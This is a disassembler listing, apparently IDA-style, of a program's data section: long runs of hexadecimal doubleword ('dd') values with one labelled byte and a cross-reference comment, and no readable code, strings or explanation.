		dd 0CEFEBE07h, 5C7133B7h, 9EC76101h, 242F43F2h,	0F903C157h
		dd 9F757A14h, 0E550404h, 2BD62DAFh, 5F09EE6Ah, 4A79CAB7h
		dd 1B79255Bh, 0F8D00CD3h, 7286139Ch, 0FCD04ACh,	7893C98Ah
		dd 88DB0CFDh, 12EB0A93h, 0F261DE4Bh, 33A38D78h,	20B6E2Fh
		dd 772D9CF5h, 61F2C1FBh, 9945DFEh, 2D45394h, 2A8864E8h
		dd 49DCEB6Ah, 0ABE23517h, 0C3BA9774h, 80EB4C6h,	80B590EAh
		dd 0AF52F462h, 9D6D0063h, 7F7D67E9h, 116CDD6h, 742C5B5h
		dd 0D4E1FF5Fh, 8601DCBBh, 0EFB90683h, 126AA959h, 8DD5E2F6h
		dd 0A62B57FCh, 8FC70223h, 5E7BF8AAh, 9DFE51ABh,	5884BF33h
		dd 0A9BC22BBh, 5F1AB6A2h, 0FA40906Dh, 5960F8Ah,	0DF4726F5h
		dd 0B1B3045Dh, 76D94B25h, 2E4D3AC1h, 8725D1BCh,	0D372E229h
		dd 5DB370B2h, 929EE704h, 94A81528h, 53CF114Ch, 0FA5D2C60h
		dd 0E601FB3Dh, 48D140Ah, 206025F0h, 0B905253Fh,	0D23A7E9h
		dd 8CA0A076h, 1172729Dh, 54E1DD16h, 212561ACh, 1BB0AEEEh
		dd 57A91997h, 40D94760h, 90055B05h, 0B032BB66h,	0DE2532ACh
		dd 1511B11Dh, 0E82D6E82h, 3D002D7Ah, 0F219F172h, 3A742F04h
		dd 2707CDBEh, 0F0E09B0Ah, 39C5BB52h, 7E268025h,	0DEAC2EDBh
		dd 66DA5803h, 0EF9764C5h, 0E10B21F2h, 6800073Fh, 422EE190h
		dd 6109FCFCh, 2B078C9h,	3DC226Fh, 0AB5E3AB7h, 0D448F4E9h
		dd 85ABC250h, 0B66E07E1h, 1AC8AD8Fh, 0BA334BC0h, 0B95816DBh
		dd 81FEB179h, 0E97D53C0h, 1D620189h, 626A9778h,	73AD7E5Ch
		dd 90FE7A75h, 2607D683h, 8745FC1h, 7B2514C8h, 18195910h
		dd 0D9D02E9h, 31579442h, 0C6251151h, 0DCA2B4A5h, 91A60909h
		dd 0AEBF7908h, 2DBC406Fh, 611E2F97h, 44E78924h,	1ECE00D7h
		dd 0EA91F8E5h, 2601D2BFh, 0C3E38FE6h, 5BF4D32Ah, 27A7938Ch
		dd 0D602FA74h, 0DE88B966h, 0A8461690h, 127A3EF2h, 82335796h
		dd 86D0000Ah, 986956A0h, 0B3D8F1Eh, 943E016Fh, 5B616063h
		dd 0E6D650C5h, 5FC700AAh
		dd 0ACAF150Fh, 30482C5h, 0A0043D6Dh, 1413C8BBh,	0E7884F2Eh
		dd 53EB7A00h, 2B48B87h,	0B64A10A2h, 1A40F1F6h, 61275ED9h
		dd 5EFB796h, 0B2DA54E0h, 13A60116h, 0E3D8ECFBh,	17AFFF0h
		dd 9063A468h, 2F4B84D4h, 8D90AF34h, 4B4D1668h, 4BA6A8A6h
		dd 4EE99F80h, 0EF70F3B9h, 0A7084BE1h, 4E093B1Eh, 50252ABDh
		dd 55485AC4h, 26127375h, 5FF04B27h, 28DD93F9h, 3D615958h
		dd 6600ACE8h, 1F22F2B7h, 1031ED58h, 25237995h, 0AD61E5F5h
		dd 94950AF8h, 21346C66h, 7902E3F5h, 0E96EC87Eh,	343D5542h
		dd 9ACCF180h, 0FA26714Bh, 253A90EEh, 22D39327h,	8018115Fh
		dd 0F338EA0h, 0B22B5C99h, 8963BE76h, 18741579h,	3E0D4F71h
		dd 3F00946Ah, 705A73E4h, 5D25C509h, 0F43E8819h,	9D041B58h
		dd 2343146Fh, 7BDBE8B0h, 648F6FAAh, 311D5062h, 9D45B057h
		dd 0EB214145h, 0EB4AE1B3h, 6A4A14F7h, 399E0351h, 898068E6h
		dd 302E02E3h, 60CB817Fh, 7F0B0C12h, 8E6249F3h, 0F8090E79h
		dd 50F8ED4Dh, 28D340Fh,	0F414AF5Fh, 73E65EF5h, 0CD4019E0h
		dd 0B0659100h, 0C02E28B5h, 8E0F2752h, 0C1ABC790h, 584BD125h
		dd 483F9F39h, 0F92E9504h, 0A9F374AFh, 32C8A81Ch, 1A8D513h
		dd 9551F827h, 752F0611h, 0C560062Fh, 0FB4B191Ch, 409EFE95h
		dd 0E471FEC9h, 0C8B0F87h, 0A0F04E09h, 9C331921h, 0ECBFE035h
		dd 7F5A82ACh, 0BE0055A2h, 52B4FB7Bh, 5C038B6Fh,	5ECB640h
		dd 5B9BCB08h, 5BF792C2h, 372FF45Ch, 0FB960068h,	82CDE301h
		dd 92B4BB05h, 5F00E8F6h, 0E455832Bh, 938C0111h,	0B21D4FCFh
		dd 0FE9820B8h, 20508BA0h, 0C0B4ED95h, 9C5AC7ADh, 0BB666804h
		dd 18BC7531h, 0D19CB0D7h, 1AC4D04Bh, 0DAC491B9h, 0F58E8299h
		dd 0A4E672C0h, 0BACC1100h, 0AAF24F9Eh, 935C50BBh, 6A2744A9h
		dd 4DE7CBEh, 3C121FDh, 85EB803Ah, 0ED952AB9h, 6215E4C7h
		dd 0F0386220h, 187B9765h, 726CD0D0h, 6538198Dh,	10068661h
		dd 0F2F5F0B4h, 8A632A8Eh, 0A0E90D9h, 1AB58D01h,	77DB5263h
		dd 97838650h, 8D601A9Ah, 9497D4C6h, 0FC5F440Eh,	6EEB8101h
		dd 9619CAA0h, 5029B128h, 23D480F0h, 9F1B7DABh, 140062F6h
		dd 4A988565h, 3EE5C70Eh, 4A4C8F07h, 0FFA27D80h,	5F12CB72h
		dd 33E6965Bh, 13389AE0h, 19350501h, 981277FEh, 64E6CC89h
		dd 0AA805D5h, 8A2B9929h, 55B712DCh, 1A230D6Eh, 0A2701B0Eh
		dd 58E4537Ah, 15112569h, 6DADE6C5h, 0EF934FD0h,	0DABC0D18h
		dd 0AB5F09BBh, 0EA717208h, 9EFB5944h, 79CAC5BDh, 0C1D39DA8h
		dd 2FF22639h, 0AD1F0934h, 0C6270410h, 82D1BBDBh, 120A43D0h
		dd 0E24F0BAFh, 88ECD2D8h, 0E9251320h, 0B6C3783Ah, 9F9440DFh
		dd 510006EBh, 117A0EC7h, 12580BCAh, 0BDA17D09h,	0BE8B0h
		dd 1AB60636h, 4AD4EE4Eh, 2685C1B7h, 0CAC742Eh, 90B7A186h
		dd 2CE75158h, 8608F15Bh, 0C5609E04h, 0C49061D7h, 0B749FB08h
		dd 7537FD6Ah, 983A5481h, 50A5FB19h, 7CA0BCF2h, 6A5AD98Fh
		dd 0E4F04CB6h, 0AE013C4Dh, 8AF5A263h, 26B2210h,	0AC7108BEh
		dd 0E05BED5Fh, 0FFCACD9Bh, 90BDEA28h, 0ED010997h, 7FCDC149h
		dd 673128E6h, 90865FEh,	0F75E5150h, 0F7D54A2Dh,	53FA8EB0h
		dd 0B49987F2h, 61850905h, 5F5F47B0h, 0C312DB6Ah, 0A06A72ACh
		dd 0C03AD7E3h, 39EDBB44h, 98976FD6h, 5E0B5024h,	5BCF449Dh
		dd 0DE27BCF5h, 2C35BDC4h, 9B6C53AFh, 0E8E58A48h, 3991B901h
		dd 4230D5A7h, 4457D33Dh, 0BC8B3FCFh, 2917A232h,	1F35E78h
		dd 0FF24026Ah, 50BE2A8Ah, 97D9BAAh, 0C0717DE9h,	178412C4h
		dd 73546FFEh, 272A4F14h, 398D16E4h, 49B66C5h, 2E9134C0h
		dd 0CD2FFE2Fh, 9909A60h, 4B9FDA8Eh, 0FCF8C61h, 49498F4Ah
		dd 84E2F6F9h, 163BB5BFh, 0FFFD7E04h, 8BE143FBh,	5E0890D8h
		dd 3D220D95h, 9303BA84h, 928CB961h, 6EAD11F8h, 0C8EA4F23h
		dd 62DB94h, 0C9E21ED5h,	89AD7C09h, 2E454A1Fh, 0D1062C49h
		dd 5971A5C2h, 0BD500449h, 0B293B652h, 0B5C23016h, 0FE008BE4h
		dd 0BCBFFF6Ah, 0BD6C8F66h, 0C93F0E0Fh, 3DF53099h, 0E22D126Eh
		dd 0A6F04B82h, 97D90443h, 0B9111A3Bh, 0BCA29E55h, 0BE300490h
		dd 987C231h, 0BF01B007h, 1FE467EDh, 23703FE6h, 0BC2E2192h
		dd 8858F0Fh, 5211C42Fh,	0FCEF42B4h, 34FF21F8h, 0BD8B5085h
		dd 5F2C30F9h, 253C2433h, 0F9293A61h, 2B8253A1h,	6B1CB9B1h
		dd 8DFD0BC9h, 1F8214E5h, 3DB509C8h, 0D15CC77Ah,	0CD02C0A7h
		dd 1FE3CBh, 0BE7388D3h,	209A1BB2h, 0B151C80Eh, 0C096D455h
		dd 0FD125AC5h, 5EFE07CEh, 0F95B79CCh, 8C625756h, 0F5E2C25Ch
		dd 9B75A8A9h, 33FA4E9Dh, 0C0C2F9D2h, 0CDA4AD2h,	56B94218h
		dd 243F9144h, 606F6960h, 6B18FE80h, 20C23FEBh, 0C2B1B91Fh
		dd 2DB58B2Eh, 0FF5E98A4h, 0CE513020h, 40B01D2Ah, 0C26400BAh
		dd 4573A593h, 0DAEC3D07h, 2606C402h, 58D3047Ch,	0E240E961h
		dd 9FA84E9Bh, 9112E7D0h, 1031EE26h, 53112984h, 0D9CE8156h
		dd 0A5835B5Fh, 84FE1C42h, 0F4540485h, 1053AF12h, 18195E6h
		dd 2E1B3D8Dh, 413E4028h, 8B622DF4h, 0DE245E6Ah,	0D442DCCBh
		dd 71826989h, 425C0575h, 0EFF380E0h, 842A4FB9h,	0E166A698h
		dd 172E0D07h, 0B8AAED50h, 0BD88184Dh, 7CB44883h, 0ED20AE5Fh
		dd 74184C21h, 73D1B079h, 77100031h, 0E7F71204h,	321454D8h
		dd 229EFC3Bh, 3B98BF08h, 0B5955B51h, 801A113Fh,	0B07BBD70h
		dd 596E000Bh, 32B3D4B7h, 5300D22Bh, 3896D381h, 955F24B6h
		dd 0ACA3E4CDh, 1379E358h, 0F60BD380h, 8A57E0B4h, 9555057Ah
		dd 89800F8Eh, 12606090h, 7FD98Ah, 0C32629B4h, 7201EDFFh
		dd 7E25EEC1h, 172EC815h, 0E89AF999h, 113200BAh,	60CA64B2h
		dd 61B77883h, 8C040F74h, 0FD005B3Fh, 0C621681Dh, 9E7BD6F5h
		dd 2B4D6B96h, 5D9DB9C0h, 0D7F305A1h, 0FCBA11CAh, 0EF64124Bh
		dd 9A4FEEE7h, 24F9F69h,	0B8CFC01Eh, 97346BDAh, 65A3F415h
		dd 76276F58h, 17C571CAh, 0C83C8501h, 0BEF8B511h, 0DC6D7000h
		dd 0EC69220Ch, 8A770566h, 0ED07999Ah, 4C6B833h,	18572F3Dh
		dd 0A214BC9Ah, 20023FAEh, 75787D36h, 0D681AF80h, 8A09D55Bh
		dd 0F3B861CFh, 31ADF0F8h, 40F4E801h, 993B2CDEh,	5AA5BD04h
		dd 15B2F1E6h, 0B05EF230h, 25E30086h, 0AE3E22BFh, 0E14EFF4Eh
		dd 27DF96Eh, 755FC10h, 19F6E9BFh, 0EDBC2116h, 0D22CBFE2h
		dd 0F31A4A1Dh, 27C78DC4h, 180D4C89h, 7E71C35Eh,	0FED6C114h
		dd 0C4875B60h, 0BB0B631h, 0C50E4B43h, 0F9F00413h, 5498AE24h
		dd 0FDEC018Eh, 45CD2C38h, 8002F97h, 0CD872BBh, 0D0249739h
		dd 0D0007E44h, 0D398761h, 0F725AF26h, 0EF246AF5h, 1AEF4058h
		dd 5330529Dh, 0F5B52C5Bh, 1345B726h, 73EB5A7h, 0D120C612h
		dd 943B89FCh, 30A03E7Ah, 0DF8063B5h, 204CB8A7h,	901C2139h
		dd 52805650h, 0BE1B63BBh, 310F2E4Fh, 3FE60FBh, 7800E609h
		dd 0DC67D2A6h, 27BD378Eh, 0CFFE6628h, 5A5BBA00h, 0A905F58h
		dd 2CD59D29h, 74582762h, 393220E5h, 9680F40h, 7D95BE01h
		dd 93090D59h, 44D801C5h, 12B8D6Fh, 8ABDFE33h, 0A53C897Dh
		dd 5A9E5E2Ah, 1D43A7Eh,	0F54E830Eh, 6BD4C6CEh, 0EE8DCBD8h
		dd 14BA8932h, 0C1C3E79Bh, 5E31EF30h, 0BF0FAFD1h, 2B6FD92Bh
		dd 0E4F9C613h, 270072ECh, 1FD8B817h, 5A1546BEh,	694521A0h
		dd 5DE66AF4h, 88128239h, 0ADBD84ACh, 0A13757D8h, 0F0E5D51Bh
		dd 3D5FB8F4h, 602D31B6h, 99A51579h, 0A330BB04h,	97137261h
		dd 2033F119h, 89802D50h
		dd 8669606h, 79493075h,	799D8684h, 464F2D0Fh, 0DD10DDE8h
		dd 0BF96001Dh, 7BCF44C8h, 7468B750h, 6081E032h,	7BF4216Ah
		dd 6283C442h, 63DFAD00h, 0C193FE1Dh, 0AFB91266h, 5A0BAE7Ah
		dd 0C0226D96h, 0CEE0F697h, 226ACB02h, 0CAC5BD89h, 49AF5618h
		dd 0B9E05CEDh, 0E223CCE8h, 2BDEC028h, 0B8A1682Dh, 12B7CE49h
		dd 0A04EB034h, 41D1EB5Eh, 0A442FEF6h, 61FB49C5h, 80D7352Eh
		dd 0E9DC2362h, 0A7F490F2h, 50B17517h, 0A40002F3h, 0F6ACEA0Ch
		dd 9A2FF2DFh, 0C037CD90h, 0F98BF646h, 655EE95h,	0A19D01FAh
		dd 0C6A0A133h, 0E7B51CD5h, 9812A8EFh, 45679547h, 0B227371Bh
		dd 4039568Ch, 11941030h, 0D4E20997h, 3B00F442h,	0C8EB394Dh
		dd 9BB0732h, 18A68CD6h,	25D7E271h, 9232FA40h, 7D9D8916h
		dd 9509AD42h, 80C348B1h, 8AF04BD7h, 9EA622CAh, 0ACC44007h
		dd 68018288h, 4966169Ch, 9D2E2E84h, 0E8CB6461h,	64AB1125h
		dd 0A656000Bh, 0C33BCE10h, 4C015302h, 59011E92h, 0EA4B5F61h
		dd 0BD7F6735h, 7C40B91Dh, 9CBDD2Ch, 0A964E753h,	3508F7DEh
		dd 15462F0Dh, 0E6E2810Fh, 172C98Eh, 22159D45h, 0C8139B6Eh
		dd 8AB3C019h, 0E0E4DCEh, 2CBD0140h, 0E18F8118h,	0D60CB914h
		dd 8380C7DAh, 480B5AB4h, 0A667F195h, 0F88BC2FCh, 960675Ch
		dd 0B725C99Dh, 0E49D014Eh, 0EA689DA5h, 0B3759E16h, 8D37DE13h
		dd 60EFB453h, 0E357BBF5h, 70B6A9BDh, 53ED9F24h,	0BF274AC0h
		dd 0AC0C7CC9h, 0F5B595BEh, 0E4801591h, 9ABF6687h, 9BD89E4Bh
		dd 266809E3h, 0E9724885h, 0D0E05395h, 0FD2DD214h, 0F8CA850Eh
		dd 0C43E09AFh, 0E2F6DDF6h, 2691B30Ah, 4B29118Ah, 5C9A7275h
		dd 0CCE273C2h, 7327065Eh, 706D70FFh, 0F4E52216h, 353071FAh
		dd 0F8AC040Bh, 8B81DB5Ah, 39A802AFh, 0A0E20928h, 5631BAD7h
		dd 0C124D43Eh, 0A5385C7Dh, 0E5F1F9h, 44D0624Ch,	743F392Ch
		dd 3C388E50h, 22E95612h, 0A8CB8084h, 97DB4B1Eh,	7D801880h
		dd 97026CD2h, 721971F4h, 5581C0F9h, 0E161820Ch,	850684D0h
		dd 59C91BA5h, 196127C2h, 1459C173h, 0BA977418h,	50707B23h
		dd 2B0B3DAAh, 85B06FB1h, 0E8C2D9DEh, 0DE036AD8h, 98540E0h
		dd 8E0EC480h, 0A0D0E24Fh, 31D8BA5Eh, 6DFA3E2Dh,	50126852h
		dd 3B0EF35Bh, 0DB113F29h, 598805A3h, 0A248F9A7h, 139D209Eh
		dd 0CA966124h, 0B767F99Dh, 0E576070Dh, 0B4D51080h, 0CC4EAB84h
		dd 8234E4F0h, 1200A871h, 2E50D514h, 60F4F8h, 1FD2CE49h
		dd 795536C8h, 0D18D36C9h, 91B74206h, 8B62095Eh,	0E15632DFh
		dd 0F450D6A5h, 0F9F7E40Bh, 0E109A267h, 51DE5C80h, 0D733AB86h
		dd 1A60EE78h, 5551B501h, 491B540h, 0BA55C2AAh, 51CEF3E9h
		dd 0E92C30A7h, 0CB5F0E6Eh, 0C6A7E129h, 804B9E3Bh, 0B096C05Ah
		dd 50DE009Ch, 897D86B1h, 69D2AD95h, 6BF5E3ACh, 0E93009B9h
		dd 2C25CA1h, 0C18B5B56h, 37E035CDh, 5A138A36h, 0D31EFDF5h
		dd 8F80A8DAh, 905C7BD9h, 6D449Fh, 0ACC6D6F6h, 54464F12h
		dd 72175024h, 1E65FF60h, 75140072h, 0B7E1FEFBh,	0AA3C7107h
		dd 5BC78BB8h, 27C77C90h, 9400F054h, 617307C3h, 0F253F850h
		dd 0A52E0935h, 0EAAF590Ah, 903790ABh, 3CACF596h, 0CC5DE715h
		dd 5F11B150h, 0C8C68F0Bh, 0E2B2C21Dh, 0CD92CCE0h, 0A1D45B0Ch
		dd 28E368C4h, 0F1BBA76Eh, 0BC07ACDCh, 0A8644084h, 9730C59h
		dd 7196B301h, 94D96E8Bh, 0F38072Fh, 0AC9074BFh,	32080BE7h
		dd 23340E5Bh, 0EC30D63Dh, 0B8CBBC9Bh, 561AA0E3h, 550C3705h
		dd 0ED001537h, 23846C79h, 0DE3B189Bh, 0E7F3F435h, 0F20514Eh
		dd 7193C111h, 0DFB16D2h, 926BBFE0h, 0BBC0FD59h,	671577A7h
		dd 4B352FF9h, 4C82200h,	5F8BD1FFh, 0CFEF20FAh, 6004A80h
		dd 23A0D952h, 0F1D597h,	0F34E59FAh, 4877047Ah, 6A359497h
		dd 0F40B3E9Eh, 5B02EB39h, 6C0B78FDh, 8FFC0E15h,	80123310h
		dd 5E74BCDFh, 0B08057DBh, 721BCA01h, 0BD09EF1Dh, 290E0DD0h
		dd 4E10658Dh, 4B9D6CCh,	391C3A0h, 4E3BE9CAh, 0BAB891A9h
		dd 2632A117h, 0B5310A60h, 2BDBC5C1h, 1F42AFBDh,	5E0F87E9h
		dd 0CDCE59BCh, 0BC966DACh, 7EAF0537h, 0FC0D830Fh, 9FDFC03Eh
		dd 7F9D29DBh, 3B27B131h, 5A27A590h, 16B2DEE6h, 25FDDE31h
		dd 9E955F60h, 0D65A644h, 427124D1h, 6063DFDEh, 8A5E5788h
		dd 599FC37Bh, 0F3F8BE6Bh, 669BC254h, 0BAF022C5h, 0C95DA40Eh
		dd 2DDD7B3Dh, 3B72047Bh, 1615D0F3h, 11C19FADh, 0CA6F2F34h
		dd 0F40F1C23h, 0D48EFCFEh, 0ACD3E09Ah, 4A958529h, 4A5CF333h
		dd 5BA001A6h, 0F2464BDh, 0ED0DB240h, 0CC02B108h, 6B890723h
		dd 0CE5C0892h, 8B0ED1CFh, 0E606B0DAh, 0AD614670h, 0B371E43Bh
		dd 3881B02Ah, 0C0D2EE4Bh, 86159EBh, 0C025181Dh,	6B9509C6h
		dd 0BBD86129h, 0DDC91297h, 0D15253E2h, 1D5AC148h, 1093E79Dh
		dd 1A2509AFh, 0BDD69857h, 62084305h, 2103140h, 66F5C82Bh
		dd 7E8B4C6Eh, 1DCD3478h, 96F5ACDDh, 125B86B8h, 81C08C39h
		dd 3312EB78h, 0A5F14526h, 0BBA7982Bh, 0D25DB931h, 892B0A35h
		dd 0F233F9h, 8509304Bh,	5DC74h,	2CB156B8h, 25C0DF14h, 0C4D2904Bh
		dd 0D3812016h, 33095331h, 0F448E95Eh, 20D660DDh, 2D55BD0Bh
		dd 8BE33EA8h, 0E295124Bh, 0C02B2998h, 9D28D98Ch, 0FE18A1A5h
		dd 0AA850430h, 0B5087F96h, 99024981h, 1072FADh,	5E237962h
		dd 0FE4C509Ah, 69BDAB5Bh, 0D4DD36BCh, 77097309h, 0D400263Dh
		dd 1565A4EAh, 7E1412CDh, 87DBBC76h, 0C797474Fh,	5A8A37E0h
		dd 784C0401h, 0BC8FA9DCh, 0CB81C1C1h, 11E814ADh, 0CF5559B9h
		dd 8625126h, 712D2C6Dh,	94B5A590h, 0B75D430Ah, 61AA508h
		dd 2306890Fh, 4045F897h, 8FB4FC34h, 6DD602DCh, 3BD170F2h
		dd 2F5DE540h, 1EC26C95h, 4E5A081Dh, 44A087BAh, 0BB18FA4h
		dd 0C55D5902h, 0DDCFF529h, 0AC5FAA04h, 0DD0492FEh, 0BF000845h
		dd 17FA83F3h, 3F10BA51h, 26FA0C8h, 25B1C1BFh, 6B4050F7h
		dd 0DCC4EB7Dh, 5B0918D5h, 2BE9CD79h, 9CB05011h,	6DEEDC9Eh
		dd 0A29CB417h, 218EAEBCh, 231FF3C0h, 0FC0183C4h, 0BD31625Eh
		dd 0A62B17B1h, 85890534h, 5A22D81h, 89AE9AD2h, 0AF6A7BC7h
		dd 3751F95Bh, 0FE8FF47Ah, 989F7095h, 0FDBD10D4h, 3B8F4C34h
		dd 2EADD59Dh, 9A5F782Fh, 1379800Dh, 0B49B274h, 0D4827CE8h
		dd 160DA085h, 0C0E59B96h, 0E8C2E340h, 0F8F94BAFh, 0C0E4D3DFh
		dd 823B905Bh, 2534FC6Eh, 641C7DC5h, 0F4F27627h,	0A9E94701h
		dd 5B793252h, 336DAD41h, 8893DB2Bh, 19F3C017h, 87B0D19Ch
		db 25h,	2, 38h
byte_544547	db 0E6h			; DATA XREF: ___:off_44720Co
		dd 0D068DF75h, 0E1FF181Dh, 9714B110h, 7098339Ch, 9D330197h
		dd 350F2D21h, 43ED27F0h, 0B680FA8Ch, 39CAFC4Bh,	8133A130h
		dd 193ED0D7h, 0B6824AA2h, 0ED600430h, 0F1B831h,	8398B409h
		dd 9D807870h, 54405BB4h, 4682C6h, 0E51EFE1h, 2D29AD1Ch
		dd 0D64FA204h, 5ABC731Dh, 3D9D3309h, 4D5C4642h,	25DC002Eh
		dd 65E9263Dh, 0B70A1438h, 56A5A4C1h, 1846D64Bh,	4AE6BB02h
		dd 0EC62628Ch, 0ED5579C2h, 635DE858h, 0AA719391h, 97B053D7h
		dd 2F908108h, 0B080A984h, 490B73BFh, 3262ED7Dh,	1C0A05F5h
		dd 3FF034Eh, 8ACD841Fh,	0F6CDA840h, 0C6E01C7Eh,	505C8006h
		dd 9637BE60h, 56095A7Fh, 8D5E5951h, 0D165A138h,	808982DFh
		dd 500EBF09h, 0DC14B458h, 98014FFAh, 0F11A9B14h, 12E70431h
		dd 0F63491C2h, 301CF256h, 3A765B8Bh, 7DC95E04h,	7181F4E1h
		dd 0DC2B2B1Dh, 0E917FC51h, 7DA70241h, 0ED3DCCA0h, 1EEEB80Bh
		dd 25B47085h, 59E61644h, 69DDEC4h, 6079F809h, 0B34E3C54h
		dd 94C68E80h, 779D1B4Bh, 19709E90h, 0F98DE3C2h,	30965726h
		dd 9258D5B3h, 0F7595AB3h, 1E6A5FEEh, 1CF5417h, 0B29983B6h
		dd 2B827174h, 3280799Bh, 0FC7E73C8h, 0ED2448B0h, 46F4EB33h
		dd 7D3919h, 0BD80585Ch,	254E5ABFh, 99E2261Ch, 0C1E0356Dh
		dd 0E27D2D72h, 0A0535E8Dh, 507496BCh, 0A4ADC274h, 40A2A4E2h
		dd 97256BC2h, 14568D8Bh, 8DB124F6h, 602D1C1Eh, 3775681Fh
		dd 52506D04h, 498A20AAh, 45000480h, 2E402438h, 5A51868h
		dd 0E9ED14AAh, 1463BA5Bh, 6DDC998Ah, 0A8F0AF36h, 334B3A91h
		dd 4159C2A0h, 25147823h, 0A79B7B0Bh, 7E7042DBh,	0C4F03A7Dh
		dd 4C88A602h, 887DCAB1h, 90838411h, 0A550A3B7h,	86E12DE6h
		dd 600BC03Fh, 6699B802h, 78F51BE7h, 992DE6B8h, 7E0F4B75h
		dd 5B786FF3h, 0BAA516B8h, 92788C2h, 0AEE57804h,	0F84DF99Ah
		dd 99006FBCh, 0DD4F8F82h, 0B64410FCh, 2AB4E2Ah,	0DE000896h
		dd 0C1C4C9E7h, 9703B8C8h, 53695694h, 7808533Eh,	0BA3EA35Fh
		dd 9F55802Bh, 60E659A2h, 0BD9DF253h, 0E45AC369h, 578A8F0Fh
		dd 6A006466h, 1C25F42Bh, 0FA429F2h, 2EE7EDD2h, 0AB8CBE25h
		dd 771E3D82h, 0E7957866h, 0FA93743Eh, 2FAD55Bh,	57E934C8h
		dd 6AFDCFCAh, 55CD7785h, 1EC012E0h, 204FB060h, 9761C1Dh
		dd 0C257D32h, 519E7461h, 880C08CEh, 1B00D07Fh, 6CEBBDE0h
		dd 24C9FB1Eh, 2CAC1A90h, 8B5B4421h, 25A9282Eh, 7A9C0644h
		dd 33EC0339h, 5F505105h, 0AB65AF8Ch, 19D29D1Dh,	0E9B43BE8h
		dd 2E82A8E2h, 0ADD50319h, 1779BA73h, 0B107A018h, 85310AF6h
		dd 0CBAE1A84h, 0D19A4A44h, 9EAD3B80h, 0BD0B2258h, 50AA4B25h
		dd 0BF174043h, 2A498507h, 0DEC5966Bh, 1A17ABAh,	451F85A2h
		dd 0A77FF921h, 26BD4AF4h, 548C14B8h, 971AE08Eh,	2B05F891h
		dd 0BDD36CB2h, 1B3A831h, 0F1A579D4h, 6424692Ah,	0EAACF7C8h
		dd 45708976h, 8244DB95h, 0D694BB66h, 0D4A9AB85h, 4B70BCD3h
		dd 0A6EC45F9h, 71C02B03h, 0A06B6E0Dh, 97FC1646h, 27BE80D3h
		dd 2ADB24h, 92FEBAACh, 0CD008048h, 0C065C51h, 4C127CCh
		dd 33B55D49h, 4D6DE8FCh, 916BCE7h, 9ECE5DD8h, 55B461D0h
		dd 5BFC5304h, 0F6D642E9h, 6377A0B1h, 8FC100F5h,	5DB8194h
		dd 124EE590h, 9B3A358Dh, 517D82EAh, 1637160h, 0CBCAD171h
		dd 8412C816h, 41A6F900h, 0D2DB6409h, 0A2F04F4Ah, 0B4F04F76h
		dd 0EAF658B8h, 0F0F9E65Bh, 93500584h, 92387285h, 0FF01AD02h
		dd 0B31B6857h, 0E8203199h, 0AEDB9508h, 5496F58Bh, 0AC72A6F8h
		dd 0D7925E9h, 2B577880h, 0A032C3h, 6FD42942h, 27525CDDh
		dd 0ADAC370Bh, 0ECA0C679h, 0B0BDC83h, 3C76965Fh, 1E819DCh
		dd 5BDF92D2h, 0C01B8887h, 0B52220B4h, 9427F8E4h, 9D9146F5h
		dd 3B123344h, 9F078699h, 3920A060h, 59D9480h, 6CFCF90Ah
		dd 5120EB19h, 0DA8485h,	3A784AEAh, 8FF04E44h, 17454D0Eh
		dd 0B6A2335Bh, 50893988h, 681A7E8Ah, 2F007E67h,	27693FE5h
		dd 3DF44354h, 2FDB560h,	0EC7B866h, 0E5C1615Ah, 574FE8EEh
		dd 0AF9EA0ACh, 9397E625h, 6FD879B5h, 0F2D079DAh, 0F88E1FA1h
		dd 0A53966C7h, 9D018413h, 5EC828A9h, 9D037665h,	1811E137h
		dd 0CD124A80h, 0C5BC85DBh, 22AAB76Eh, 8B7452ACh, 5F270D10h
		dd 551CF145h, 40914F2Fh, 7401305h, 6126603Fh, 0A682BFEEh
		dd 93EE343Ah, 0FE84C694h, 0DCB9DBh, 0FCFB635h, 1E9DFFBFh
		dd 58E6B3C0h, 0DB588A0Eh, 11CB0119h, 0FFF1AFE9h, 0DCE774C6h
		dd 0F2D38F5Bh, 0FEF425C1h, 19E57F76h, 0BF908940h, 3B6D5BDDh
		dd 4CCC505Dh, 0DA7E40DFh, 9E8F6B4Ch, 56CB8A00h,	0D7C663B2h
		dd 571F1387h, 4A51F288h, 0EE9ECE41h, 91680664h,	0D7852A80h
		dd 2803637Ch, 151CD69Ch, 9EAE8C5Fh, 53F580B5h, 6878DE9h
		dd 0FB143895h, 0C897D43Fh, 0B4DBB8Eh, 6A2AFDD7h, 9DEC7FCh
		dd 1536DB1h, 0ED04A05Ch, 1E060A3h, 2DA2A425h, 62E40E11h
		dd 0AC937F13h, 1BCD1E9h, 3E1921Eh, 5751C9C2h, 78CB898Ah
		dd 80A191CEh, 5FA19171h, 2DE6F539h, 0ACCA0800h,	73F31D56h
		dd 9836623Bh, 5F002341h, 7B4B790h, 0BA666050h, 0B1985992h
		dd 0CC00C0F0h, 94B12EBBh, 1FA7FB5Ch, 65622C37h,	0CC0145F9h
		dd 0BCAD817Bh, 9061DA41h, 5907DF63h, 0B0843AB8h, 0C41DC173h
		dd 0A940D500h, 0D375E4Bh, 18F39DE4h, 0CF2EBD0h,	0DC6A45CEh
		dd 2BCCDD4h, 0D55D0249h, 47BADD0Eh, 0B0BE6F7h, 10F99D33h
		dd 9E94D76h, 4E404442h,	800ADBD1h, 152BF154h, 818B01F3h
		dd 0B3F5A1D3h, 0EA283A5Dh, 0A72AE16Fh, 97C6A061h, 95C23B9Eh
		dd 1A6A6AEh, 85096001h,	4006F91h, 0A7DAAFB8h, 80610268h
		dd 26A66E7h, 1670C153h,	54D102D3h, 6F5CC845h, 1DC302F5h
		dd 171D74A1h, 0C6D64F5h, 0E90DF1A5h, 450DE227h,	168992BBh
		dd 2C7A8Bh, 0EDE02B06h,	2C52843Dh, 0AB060DFh, 12FB29F0h
		dd 0A150EC1Ah, 69F88B60h, 0DFA5C91Dh, 1E715A0Bh, 0BD162500h
		dd 4569831h, 0F2F7B751h, 0FE7DC462h, 1784099Bh,	80B3F850h
		dd 115E5DA8h, 73DB066h,	0ECDC4D84h, 0F85B05CBh,	97182019h
		dd 0D4569F9Ah, 0C06700DEh, 13F8F7DDh, 0B33A4FC5h, 10C4E9h
		dd 20DFB426h, 871D82A7h, 0FD166500h, 0C863DCAAh, 0F85F279Ah
		dd 51BFDB4Ah, 9CA7F00h,	3AF093FFh, 5B02381Ah, 0A2DB529h
		dd 0BD53E174h, 0B0E744A6h, 3F2FD59Dh, 2477305h,	90C553AFh
		dd 93790AAh, 294E3DBDh,	4722B68Ah, 0C71207B0h, 34F8B003h
